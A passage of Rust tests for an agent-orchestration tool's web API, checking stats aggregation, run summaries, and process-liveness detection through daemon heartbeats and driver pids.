19513        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
19514        assert_eq!(hidden["totals"]["runs"], 1);
19515
19516        let all = f.get("/api/stats?all=true").await.json();
19517        assert_eq!(agents_of(&all).len(), 2);
19518        assert_eq!(all["retired_hidden"], serde_json::json!([]));
19519        // Verify competitive and solo keys exist on agent entries
19520        let keep_agent = all["agents"]
19521            .as_array()
19522            .unwrap()
19523            .iter()
19524            .find(|a| a["agent"] == "keep")
19525            .unwrap();
19526        assert_eq!(keep_agent["competitive_entered"], 1);
19527        assert_eq!(keep_agent["competitive_wins"], 0);
19528        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
19529        assert_eq!(keep_agent["solo_entered"], 0);
19530        assert_eq!(keep_agent["solo_adopted"], 0);
19531        assert!(keep_agent["solo_adoption_rate"].is_null());
19532    }
19533
19534    #[tokio::test]
19535    async fn stats_release_bumps_split_clean_from_attention() {
19536        use crate::run::ReleaseBump;
19537
19538        let f = Fixture::start().await;
19539
19540        let mut clean = RunState::new(
19541            PathBuf::from("/repo/magi"),
19542            "main".to_owned(),
19543            "0123456789abcdef".to_owned(),
19544            "task".to_owned(),
19545            Config::default(),
19546        );
19547        clean.id = "20260902-140501-a".to_owned();
19548        clean.status = RunStatus::Merged;
19549        clean.release_bump = Some(ReleaseBump {
19550            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
19551            version: Some("1.0.0".to_owned()),
19552            automerge_enabled: true,
19553            merged_directly: false,
19554            local: false,
19555            release: None,
19556            problem: None,
19557            action_required: None,
19558            skipped: None,
19559        });
19560
19561        let mut blocked = RunState::new(
19562            PathBuf::from("/repo/magi"),
19563            "main".to_owned(),
19564            "0123456789abcdef".to_owned(),
19565            "task".to_owned(),
19566            Config::default(),
19567        );
19568        blocked.id = "20260902-140502-b".to_owned();
19569        blocked.status = RunStatus::Merged;
19570        blocked.release_bump = Some(ReleaseBump {
19571            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
19572            version: Some("1.0.1".to_owned()),
19573            automerge_enabled: false,
19574            merged_directly: false,
19575            local: false,
19576            release: None,
19577            problem: Some("checks red".to_owned()),
19578            action_required: Some("look at the PR".to_owned()),
19579            skipped: None,
19580        });
19581
19582        for state in [&clean, &blocked] {
19583            let dir = f.runs().join(&state.id);
19584            std::fs::create_dir_all(&dir).expect("run dir");
19585            std::fs::write(
19586                dir.join("run.json"),
19587                serde_json::to_string_pretty(state).expect("serialize run"),
19588            )
19589            .expect("write run.json");
19590        }
19591
19592        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19593        assert_eq!(bumps["merged"], 2);
19594        assert_eq!(bumps["recorded"], 2);
19595        assert_eq!(bumps["pr_opened"], 2);
19596        assert_eq!(bumps["automerge_enabled"], 1);
19597        assert_eq!(bumps["needs_attention"], 1);
19598        assert_eq!(bumps["clean"], 1);
19599        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
19600        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
19601    }
19602
19603    #[tokio::test]
19604    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
19605        let f = Fixture::start().await;
19606        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19607
19608        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19609        assert_eq!(bumps["merged"], 1);
19610        assert_eq!(bumps["recorded"], 0);
19611        // `merged` is nonzero, so coverage still reads as a real 0%, not an
19612        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
19613        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
19614        // `pr_opened` and `recorded` are both zero here, so these rates have
19615        // no denominator to compute from and must be null.
19616        assert_eq!(bumps["automerge_rate"], Value::Null);
19617        assert_eq!(bumps["attention_rate"], Value::Null);
19618    }
19619
19620    #[tokio::test]
19621    async fn stats_queue_counts_come_from_the_live_queue() {
19622        let f = Fixture::start().await;
19623        let q = f.queue();
19624        let mut queued = Task::new(
19625            "queued task".to_owned(),
19626            "do it".to_owned(),
19627            PathBuf::from("/repo"),
19628            Source::Human,
19629        );
19630        q.put(&mut queued).expect("put queued");
19631        let mut held = Task::new(
19632            "held task".to_owned(),
19633            "do it later".to_owned(),
19634            PathBuf::from("/repo"),
19635            Source::Human,
19636        );
19637        held.hold_machine(Some("out of attempts".to_owned()));
19638        q.put(&mut held).expect("put held");
19639
19640        let queue = f.get("/api/stats").await.json()["queue"].clone();
19641        assert_eq!(queue["queued"], 1);
19642        assert_eq!(queue["held"], 1);
19643        assert_eq!(queue["running"], 0);
19644        assert_eq!(queue["done"], 0);
19645        assert_eq!(queue["failed"], 0);
19646        assert_eq!(queue["blocked"], 0);
19647    }
19648
19649    #[tokio::test]
19650    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19651        let f = Fixture::start().await;
19652        let stats = f.get("/api/stats").await;
19653        assert_eq!(stats.status, 200);
19654        assert_eq!(stats.json()["totals"]["runs"], 0);
19655        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19656        assert_eq!(stats.json()["runs_unreadable"], 0);
19657        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19658        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19659        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19660        assert_eq!(stats.json()["repo"], Value::Null);
19661    }
19662
19663    #[tokio::test]
19664    async fn stats_lists_every_repository_with_runs_recorded() {
19665        let f = Fixture::start().await;
19666        write_run_repo(
19667            &f.runs(),
19668            "20260902-140501-a",
19669            RunStatus::Merged,
19670            "/repos/a",
19671        );
19672        write_run_repo(
19673            &f.runs(),
19674            "20260902-140502-b",
19675            RunStatus::Merged,
19676            "/repos/a",
19677        );
19678        write_run_repo(
19679            &f.runs(),
19680            "20260902-140503-c",
19681            RunStatus::Blocked,
19682            "/repos/b",
19683        );
19684
19685        let stats = f.get("/api/stats").await;
19686        assert_eq!(stats.status, 200);
19687        // Unfiltered - the aggregate across both repositories.
19688        assert_eq!(stats.json()["totals"]["runs"], 3);
19689        assert_eq!(stats.json()["repo"], Value::Null);
19690
19691        let repos = stats.json()["repos"].clone();
19692        let repos = repos.as_array().unwrap();
19693        assert_eq!(repos.len(), 2);
19694        // Busiest (2 runs) first.
19695        assert_eq!(repos[0]["repo"], "/repos/a");
19696        assert_eq!(repos[0]["name"], "a");
19697        assert_eq!(repos[0]["runs"], 2);
19698        assert_eq!(repos[1]["repo"], "/repos/b");
19699        assert_eq!(repos[1]["runs"], 1);
19700    }
19701
19702    #[tokio::test]
19703    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19704        let f = Fixture::start().await;
19705        write_run_repo(
19706            &f.runs(),
19707            "20260902-140501-a",
19708            RunStatus::Merged,
19709            "/repos/a",
19710        );
19711        write_run_repo(
19712            &f.runs(),
19713            "20260902-140502-b",
19714            RunStatus::Blocked,
19715            "/repos/b",
19716        );
19717
19718        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
19719        assert_eq!(stats.status, 200);
19720        assert_eq!(stats.json()["totals"]["runs"], 1);
19721        assert_eq!(stats.json()["totals"]["merged"], 1);
19722        assert_eq!(stats.json()["repo"], "/repos/a");
19723        // The repository list itself is unaffected by the filter - it is
19724        // what a client switches repositories from.
19725        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
19726        // runs_unreadable is a whole-workload count, never scoped to the
19727        // selected repository - see StatsView::runs_unreadable's own doc.
19728        assert_eq!(stats.json()["runs_unreadable"], 0);
19729    }
19730
19731    #[tokio::test]
19732    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
19733        let f = Fixture::start().await;
19734        write_run_repo(
19735            &f.runs(),
19736            "20260902-140501-a",
19737            RunStatus::Merged,
19738            "/repos/a",
19739        );
19740        write_run_repo(
19741            &f.runs(),
19742            "20260902-140502-b",
19743            RunStatus::Merged,
19744            "/repos/b",
19745        );
19746
19747        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
19748            let json = f.get(uri).await.json();
19749            let daily = json["daily"].as_array().expect("daily is an array");
19750            assert_eq!(daily.len(), 30);
19751            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
19752            let mut sorted = dates.clone();
19753            sorted.sort();
19754            assert_eq!(dates, sorted);
19755            for d in daily {
19756                assert_eq!(
19757                    d["merged"].as_u64().unwrap()
19758                        + d["ready"].as_u64().unwrap()
19759                        + d["other"].as_u64().unwrap(),
19760                    d["runs"].as_u64().unwrap()
19761                );
19762            }
19763            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
19764        }
19765    }
19766
19767    #[tokio::test]
19768    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
19769        let f = Fixture::start().await;
19770        write_run_repo(
19771            &f.runs(),
19772            "20260902-140501-a",
19773            RunStatus::Merged,
19774            "/repos/a",
19775        );
19776
19777        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
19778        assert_eq!(stats.status, 404);
19779    }
19780
19781    #[tokio::test]
19782    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
19783        let f = Fixture::start().await;
19784        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
19785
19786        let summary = f.get("/api/runs").await.json();
19787        let row = &summary[0];
19788        assert_eq!(row["short"], "a1b2");
19789        assert_eq!(row["status"], "ready");
19790        assert_eq!(row["done"], true);
19791        assert_eq!(row["title"], "Add a web UI");
19792        assert_eq!(row["repo_name"], "magi");
19793        assert_eq!(row["judges"], 3);
19794        assert_eq!(row["winner"], Value::Null);
19795        assert_eq!(row["reviews"], 0);
19796
19797        // The short id resolves, and the detail route is the state itself, not
19798        // a projection of it: the UI reads fields the summary does not carry.
19799        let detail = f.get("/api/runs/a1b2").await;
19800        assert_eq!(detail.status, 200);
19801        assert_eq!(detail.json()["base_branch"], "main");
19802        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
19803    }
19804
19805    /// `status: "ready"` alone cannot tell a run still headed for a landing
19806    /// (a PR closed without merging, say) apart from one `[merge] mode =
19807    /// "none"` left unmerged for good — the confusion the operator flagged
19808    /// after the CLI report already grew a `not landed — nothing to do by
19809    /// design` line for exactly this case (`report.rs`). Both the list route
19810    /// and the detail route must carry a flag the phone can key on instead of
19811    /// re-deriving it from `status` + `merge.mode` itself.
19812    #[tokio::test]
19813    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
19814        let f = Fixture::start().await;
19815
19816        let mut none_run = RunState::new(
19817            PathBuf::from("/repo/magi"),
19818            "main".to_owned(),
19819            "0123456789abcdef".to_owned(),
19820            "Add a web UI".to_owned(),
19821            Config::default(),
19822        );
19823        none_run.id = "20260902-140503-none".to_owned();
19824        none_run.status = RunStatus::Ready;
19825        none_run.merge = Some(crate::run::MergeOutcome {
19826            mode: crate::config::MergeMode::None,
19827            ok: true,
19828            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
19829            empty: false,
19830        });
19831        write_state(&f.runs(), &none_run);
19832
19833        let mut pr_run = RunState::new(
19834            PathBuf::from("/repo/magi"),
19835            "main".to_owned(),
19836            "0123456789abcdef".to_owned(),
19837            "Add a web UI".to_owned(),
19838            Config::default(),
19839        );
19840        pr_run.id = "20260902-140504-prcl".to_owned();
19841        pr_run.status = RunStatus::Ready;
19842        pr_run.merge = Some(crate::run::MergeOutcome {
19843            mode: crate::config::MergeMode::Pr,
19844            ok: false,
19845            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
19846            empty: false,
19847        });
19848        write_state(&f.runs(), &pr_run);
19849
19850        let summary = f.get("/api/runs").await.json();
19851        let rows: std::collections::HashMap<&str, &Value> = summary
19852            .as_array()
19853            .expect("an array")
19854            .iter()
19855            .map(|r| (r["id"].as_str().expect("an id"), r))
19856            .collect();
19857        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19858        assert_eq!(
19859            rows[none_run.id.as_str()]["unmerged_by_design"],
19860            true,
19861            "a mode-none Ready must be flagged in the list"
19862        );
19863        assert_eq!(
19864            rows[pr_run.id.as_str()]["unmerged_by_design"],
19865            false,
19866            "a Ready reached by a closed pull request is a different case"
19867        );
19868
19869        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
19870        assert_eq!(none_detail["status"], "ready");
19871        assert_eq!(none_detail["unmerged_by_design"], true);
19872
19873        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
19874        assert_eq!(pr_detail["unmerged_by_design"], false);
19875    }
19876
19877    /// `RunState::active` is only ever cleared by whoever populated it, so the
19878    /// detail route also has to say whether a daemon is actually still
19879    /// driving this run right now — otherwise a seat from a killed process's
19880    /// last wave would read as live forever.
19881    #[tokio::test]
19882    async fn run_core_survives_unavailable_related_stores() {
19883        let home = TempDir::new().unwrap();
19884        let ui = delta_test_ui(home.path());
19885        let state = RunState::new(
19886            PathBuf::from("/repo/magi"),
19887            "main".into(),
19888            "0123456789abcdef".into(),
19889            "Useful core instructions".into(),
19890            Config::default(),
19891        );
19892        let dir = ui.runs.join(&state.id);
19893        std::fs::create_dir_all(&dir).unwrap();
19894        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
19895        std::fs::write(ui.questions.root(), "unavailable").unwrap();
19896        std::fs::write(ui.queue.root(), "unavailable").unwrap();
19897        let core = run_core(State(ui.clone()), Path(state.id.clone()))
19898            .await
19899            .unwrap()
19900            .0;
19901        assert_eq!(core.state.instruction, state.instruction);
19902        assert_eq!(core.state.updated_at, state.updated_at);
19903        assert!(core.task.is_none());
19904        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
19905    }
19906
19907    #[tokio::test]
19908    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
19909        let f = Fixture::start().await;
19910        // Matches `write_daemon`'s hard-coded `current.run`, so the second
19911        // half of this test can claim the daemon is working on it without a
19912        // second helper.
19913        let id = "20260902-140502-bbbb";
19914        let mut state = RunState::new(
19915            PathBuf::from("/repo/magi"),
19916            "main".to_owned(),
19917            "0123456789abcdef".to_owned(),
19918            "Add a web UI".to_owned(),
19919            Config::default(),
19920        );
19921        state.id = id.to_owned();
19922        state.status = RunStatus::Judging;
19923        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
19924        let dir = f.runs().join(id);
19925        std::fs::create_dir_all(&dir).expect("run dir");
19926        std::fs::write(
19927            dir.join("run.json"),
19928            serde_json::to_string_pretty(&state).expect("serialize run"),
19929        )
19930        .expect("write run.json");
19931
19932        // No daemon.json at all, and no `driver_pid` recorded either (this
19933        // state was written directly, never through `execute()`): there is
19934        // nothing to confirm either way, so the route must say `"unknown"` —
19935        // never `"dead"`, which is exactly the false diagnosis a manual `magi
19936        // run` used to get from this route before `driver_pid` existed.
19937        let cold = f.get(&format!("/api/runs/{id}")).await.json();
19938        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
19939        assert_eq!(cold["live"], "unknown", "{cold}");
19940
19941        // A fresh heartbeat naming exactly this run: the same entry now reads
19942        // as confirmed, not merely recorded.
19943        write_daemon(f.home.path(), Timestamp::now());
19944        let warm = f.get(&format!("/api/runs/{id}")).await.json();
19945        assert_eq!(warm["live"], "live", "{warm}");
19946    }
19947
19948    #[test]
19949    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
19950        let home = tempfile::tempdir().expect("temp home");
19951        let runs = home.path().join("runs");
19952        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
19953            let mut state = RunState::new(
19954                PathBuf::from("/repo/magi"),
19955                "main".to_owned(),
19956                "0123456789abcdef".to_owned(),
19957                "Generated review context, not authored task criteria".to_owned(),
19958                Config::default(),
19959            );
19960            state.origin = origin;
19961            state.status = RunStatus::Blocked;
19962            // Earlier migrations must not infer these facts again.
19963            state.driver_exited = false;
19964            state.gate_ran = true;
19965            let expected = serde_json::to_value(&state).expect("serialize current state");
19966            let mut legacy = expected.clone();
19967            legacy["schema"] = serde_json::json!(13);
19968            legacy.as_object_mut().unwrap().remove("task_instruction");
19969            let dir = runs.join(&state.id);
19970            std::fs::create_dir_all(&dir).expect("run dir");
19971            let path = dir.join("run.json");
19972            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
19973            std::fs::write(&path, &body).expect("write legacy run");
19974
19975            for loaded in [
19976                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
19977                read_run(&runs, &state.id).expect("web migration"),
19978            ] {
19979                assert_eq!(loaded.schema, crate::run::SCHEMA);
19980                assert!(loaded.task_instruction.is_none());
19981                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
19982            }
19983            assert_eq!(runs_unreadable(&runs), 0);
19984            assert_eq!(std::fs::read(&path).unwrap(), body);
19985        }
19986    }
19987
19988    /// Where a run came from is shown, and a run written before origins were
19989    /// recorded (schema 12, no `origin` key) stays readable and says so.
19990    #[tokio::test]
19991    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
19992        let f = Fixture::start().await;
19993        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
19994            let mut state = RunState::new(
19995                PathBuf::from("/repo/magi"),
19996                "main".to_owned(),
19997                "0123456789abcdef".to_owned(),
19998                "Add a web UI".to_owned(),
19999                Config::default(),
20000            );
20001            state.id = id.to_owned();
20002            state.origin = origin;
20003            let mut value = serde_json::to_value(&state).expect("serialize run");
20004            if let Some(schema) = schema {
20005                value["schema"] = serde_json::json!(schema);
20006                value.as_object_mut().unwrap().remove("origin");
20007            }
20008            let dir = f.runs().join(id);
20009            std::fs::create_dir_all(&dir).expect("run dir");
20010            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
20011        };
20012        write(
20013            "20260930-092817-ec34",
20014            Some(crate::run::Origin::from_agent_env(
20015                Some(("4a7b".to_owned(), "chat".to_owned())),
20016                None,
20017            )),
20018            None,
20019        );
20020        write("20260930-092817-0ld1", None, Some(12));
20021
20022        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
20023        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
20024        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
20025
20026        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
20027        assert_eq!(
20028            old["origin_label"], "origin unknown (started before origins were recorded)",
20029            "{old}"
20030        );
20031        assert!(old["origin"].is_null(), "{old}");
20032
20033        let list = f.get("/api/runs").await.json();
20034        let labels: Vec<_> = list
20035            .as_array()
20036            .unwrap()
20037            .iter()
20038            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
20039            .collect();
20040        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
20041    }
20042
20043    #[tokio::test]
20044    async fn run_progress_observation_exposes_activity_without_control_evidence() {
20045        let f = Fixture::start().await;
20046        let mut state = RunState::new(
20047            PathBuf::from("/repo"),
20048            "main".into(),
20049            "abc".into(),
20050            "task".into(),
20051            Config::default(),
20052        );
20053        state.status = RunStatus::Implementing;
20054        state.seat_started(
20055            "implement",
20056            "implement-A",
20057            std::time::Duration::from_secs(60),
20058            0,
20059        );
20060        state.save_under(f.home.path()).unwrap();
20061        let observed = f
20062            .get(&format!("/api/runs/{}/progress", state.id))
20063            .await
20064            .json();
20065        assert_eq!(observed["id"], state.id);
20066        assert!(observed["observed_at"].is_string());
20067        assert_eq!(observed["updated_at"], state.updated_at.to_string());
20068        assert!(observed["progress"]["activity"].is_string());
20069        for field in [
20070            "config",
20071            "candidates",
20072            "land_approval",
20073            "task",
20074            "waiting",
20075            "done",
20076        ] {
20077            assert!(
20078                observed.get(field).is_none(),
20079                "progress must not expose control evidence: {field}"
20080            );
20081        }
20082    }
20083
20084    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
20085    /// review` claims no daemon at all, so before this field existed the
20086    /// route above read it as `"dead"` — indistinguishable from a run a
20087    /// killed process abandoned — the whole time it was genuinely still
20088    /// answering. With a live pid recorded, it must read `"live"` even
20089    /// though no daemon claims it.
20090    #[tokio::test]
20091    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
20092        let f = Fixture::start().await;
20093        let id = "20260922-090000-cccc";
20094        let mut state = RunState::new(
20095            PathBuf::from("/repo/magi"),
20096            "main".to_owned(),
20097            "0123456789abcdef".to_owned(),
20098            "Review only".to_owned(),
20099            Config::default(),
20100        );
20101        state.id = id.to_owned();
20102        state.status = RunStatus::Reviewing;
20103        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20104        // This test process's own pid: guaranteed alive, and never needs a
20105        // real daemon or a second process to prove it. The matching start-time
20106        // marker is what `liveness` now requires alongside a live pid — see
20107        // `RunState::driver_started_at`'s own doc for why the pid alone is
20108        // not enough.
20109        state.driver_pid = Some(std::process::id());
20110        state.driver_started_at = Some(
20111            crate::proc::process_started_at(std::process::id())
20112                .expect("this test process's own start time must be queryable"),
20113        );
20114        let dir = f.runs().join(id);
20115        std::fs::create_dir_all(&dir).expect("run dir");
20116        std::fs::write(
20117            dir.join("run.json"),
20118            serde_json::to_string_pretty(&state).expect("serialize run"),
20119        )
20120        .expect("write run.json");
20121
20122        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20123        assert_eq!(detail["live"], "live", "{detail}");
20124    }
20125
20126    /// A killed manual run's pid can be handed to a wholly unrelated later
20127    /// process — a live query on `driver_pid` alone would read this as
20128    /// `"live"`, exactly the false positive `driver_started_at` exists to
20129    /// catch (see that field's own doc, and `RunState::liveness_with`'s
20130    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
20131    #[tokio::test]
20132    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
20133        let f = Fixture::start().await;
20134        let id = "20260922-090100-dddd";
20135        let mut state = RunState::new(
20136            PathBuf::from("/repo/magi"),
20137            "main".to_owned(),
20138            "0123456789abcdef".to_owned(),
20139            "Review only".to_owned(),
20140            Config::default(),
20141        );
20142        state.id = id.to_owned();
20143        state.status = RunStatus::Reviewing;
20144        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20145        // This test process's own pid really is alive, but the marker
20146        // recorded here does not match what it actually started at —
20147        // standing in for the pid having since been reused by a different
20148        // process than the one that wrote `run.json`.
20149        state.driver_pid = Some(std::process::id());
20150        state.driver_started_at = Some("1".to_owned());
20151        let dir = f.runs().join(id);
20152        std::fs::create_dir_all(&dir).expect("run dir");
20153        std::fs::write(
20154            dir.join("run.json"),
20155            serde_json::to_string_pretty(&state).expect("serialize run"),
20156        )
20157        .expect("write run.json");
20158
20159        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20160        assert_eq!(detail["live"], "dead", "{detail}");
20161    }
20162
20163    /// The deck's competition list is normally the first place an operator
20164    /// sees an old run. It must carry the same process verdict as detail, or
20165    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
20166    #[test]
20167    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
20168        let mk = |id: &str, pid: Option<u32>| {
20169            let mut s = RunState::new(
20170                PathBuf::from("/repo/magi"),
20171                "main".to_owned(),
20172                "0123456789abcdef".to_owned(),
20173                "Add a web UI".to_owned(),
20174                Config::default(),
20175            );
20176            s.id = id.to_owned();
20177            s.driver_pid = pid;
20178            s.driver_started_at = Some("1790000000".to_owned());
20179            s
20180        };
20181        let states = vec![
20182            mk("20260902-140502-aaaa", Some(77)),
20183            mk("20260902-140502-bbbb", Some(77)),
20184            mk("20260902-140502-cccc", Some(77)),
20185            mk("20260902-140502-dddd", None),
20186        ];
20187        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
20188        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
20189        let sup: HashMap<String, String> = [(
20190            "20260902-140502-aaaa".to_owned(),
20191            "20260902-140502-cccc".to_owned(),
20192        )]
20193        .into();
20194
20195        let status_calls = std::cell::Cell::new(0);
20196        let identity_calls = std::cell::Cell::new(0);
20197        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
20198            |_| {
20199                status_calls.set(status_calls.get() + 1);
20200                Some(true)
20201            },
20202            |_| {
20203                identity_calls.set(identity_calls.get() + 1);
20204                Some("1790000000".to_owned())
20205            },
20206        ));
20207        let rows = summarize(
20208            states,
20209            &open,
20210            &claimed,
20211            &sup,
20212            |p| probe.borrow_mut().status(p),
20213            |p| probe.borrow_mut().started_at(p),
20214        );
20215
20216        assert_eq!(status_calls.get(), 1, "one pid, one status query");
20217        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
20218        assert_eq!(rows.len(), 4);
20219        assert!(!rows[0].waiting && rows[1].waiting);
20220        assert_eq!(rows[0].live, crate::run::Liveness::Live);
20221        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
20222        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
20223        assert_eq!(rows[1].superseded_by, None);
20224    }
20225
20226    #[test]
20227    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
20228        let mut state = RunState::new(
20229            PathBuf::from("/repo/magi"),
20230            "main".to_owned(),
20231            "0123456789abcdef".to_owned(),
20232            "Review only".to_owned(),
20233            Config::default(),
20234        );
20235        state.id = "20260922-090200-dead".to_owned();
20236        state.status = RunStatus::Reviewing;
20237        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
20238            .expect("serialize list row");
20239        assert_eq!(row["status"], "reviewing");
20240        assert_eq!(row["display_status"], "stale");
20241        assert_eq!(row["live"], "dead", "{row}");
20242        assert!(!row["done"].as_bool().unwrap());
20243    }
20244
20245    #[test]
20246    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
20247        use crate::run::Liveness::{Dead, Live, Unknown};
20248        let mut state = RunState::new(
20249            PathBuf::from("/repo/magi"),
20250            "main".to_owned(),
20251            "abc".to_owned(),
20252            "Review only".to_owned(),
20253            Config::default(),
20254        );
20255        for (status, parked, node, waiting, live, expected) in [
20256            (
20257                RunStatus::Judging,
20258                true,
20259                "github-text",
20260                false,
20261                Dead,
20262                "parked",
20263            ),
20264            (RunStatus::Judging, false, "park", false, Dead, "stale"),
20265            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
20266            (
20267                RunStatus::Judging,
20268                true,
20269                "github-text",
20270                true,
20271                Dead,
20272                "waiting",
20273            ),
20274            (
20275                RunStatus::Judging,
20276                false,
20277                "github-text",
20278                true,
20279                Dead,
20280                "waiting",
20281            ),
20282            (
20283                RunStatus::Judging,
20284                false,
20285                "github-text",
20286                false,
20287                Dead,
20288                "stale",
20289            ),
20290            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
20291            (RunStatus::Judging, true, "park", false, Live, "judging"),
20292            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
20293            (RunStatus::Merged, true, "park", false, Dead, "merged"),
20294            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
20295            (
20296                RunStatus::Blocked,
20297                true,
20298                "github-text",
20299                true,
20300                Dead,
20301                "waiting",
20302            ),
20303        ] {
20304            state.status = status;
20305            state.parked = parked;
20306            state.events.clear();
20307            state.event(
20308                "park",
20309                "an earlier park does not determine the latest state",
20310            );
20311            state.event(node, "message is not used for classification");
20312            let summary = RunSummary::of(&state, waiting, live);
20313            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
20314            assert_eq!(
20315                summary.display_status, expected,
20316                "{status:?}/{node}/{live:?}"
20317            );
20318            assert_eq!(detail.display_status, summary.display_status);
20319            assert_eq!(detail.waiting, summary.waiting);
20320        }
20321        state.status = RunStatus::Judging;
20322        state.parked = false;
20323        state.events.clear();
20324        assert_eq!(run_display_status(&state, false, Dead), "stale");
20325    }
20326
20327    #[test]
20328    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
20329        use crate::run::Liveness::{Dead, Live, Unknown};
20330        let mut state = RunState::new(
20331            PathBuf::from("/repo/magi"),
20332            "main".to_owned(),
20333            "abc".to_owned(),
20334            "Badge".to_owned(),
20335            Config::default(),
20336        );
20337        for (status, waiting, live, superseded, expected) in [
20338            (RunStatus::Gating, false, Dead, false, "stale"),
20339            (RunStatus::Gating, false, Dead, true, "superseded"),
20340            (RunStatus::Gating, false, Unknown, true, "superseded"),
20341            (RunStatus::Gating, true, Dead, true, "superseded"),
20342            (RunStatus::Gating, true, Dead, false, "waiting"),
20343            (RunStatus::Gating, false, Unknown, false, "gating"),
20344            (RunStatus::Gating, false, Live, true, "gating"),
20345            (RunStatus::Gating, true, Live, true, "waiting"),
20346            (RunStatus::Merged, false, Dead, true, "merged"),
20347            (RunStatus::Blocked, false, Dead, true, "blocked"),
20348        ] {
20349            state.status = status;
20350            let display = run_display_status(&state, waiting, live);
20351            assert_eq!(
20352                run_badge_status(&state, &display, live, superseded),
20353                expected,
20354                "{status:?}/{live:?}/superseded={superseded}"
20355            );
20356        }
20357    }
20358
20359    #[test]
20360    fn summarize_and_detail_expose_badge_status() {
20361        use crate::run::Liveness::Dead;
20362        let mut state = RunState::new(
20363            PathBuf::from("/repo/magi"),
20364            "main".to_owned(),
20365            "abc".to_owned(),
20366            "Badge".to_owned(),
20367            Config::default(),
20368        );
20369        state.status = RunStatus::Gating;
20370        let none = HashSet::new();
20371        let id = state.id.clone();
20372        let mut by = HashMap::new();
20373        let rows = summarize(
20374            [state.clone()],
20375            &none,
20376            &none,
20377            &by,
20378            |_| Some(false),
20379            |_| None,
20380        );
20381        // No driver recorded: liveness is not provably dead, so the node stays.
20382        assert_eq!(rows[0].badge_status, rows[0].display_status);
20383        by.insert(id, "20260901-000000-913b".to_owned());
20384        let detail = RunDetailView::of(
20385            state.clone(),
20386            false,
20387            Dead,
20388            Some("913b".to_owned()),
20389            None,
20390            None,
20391        );
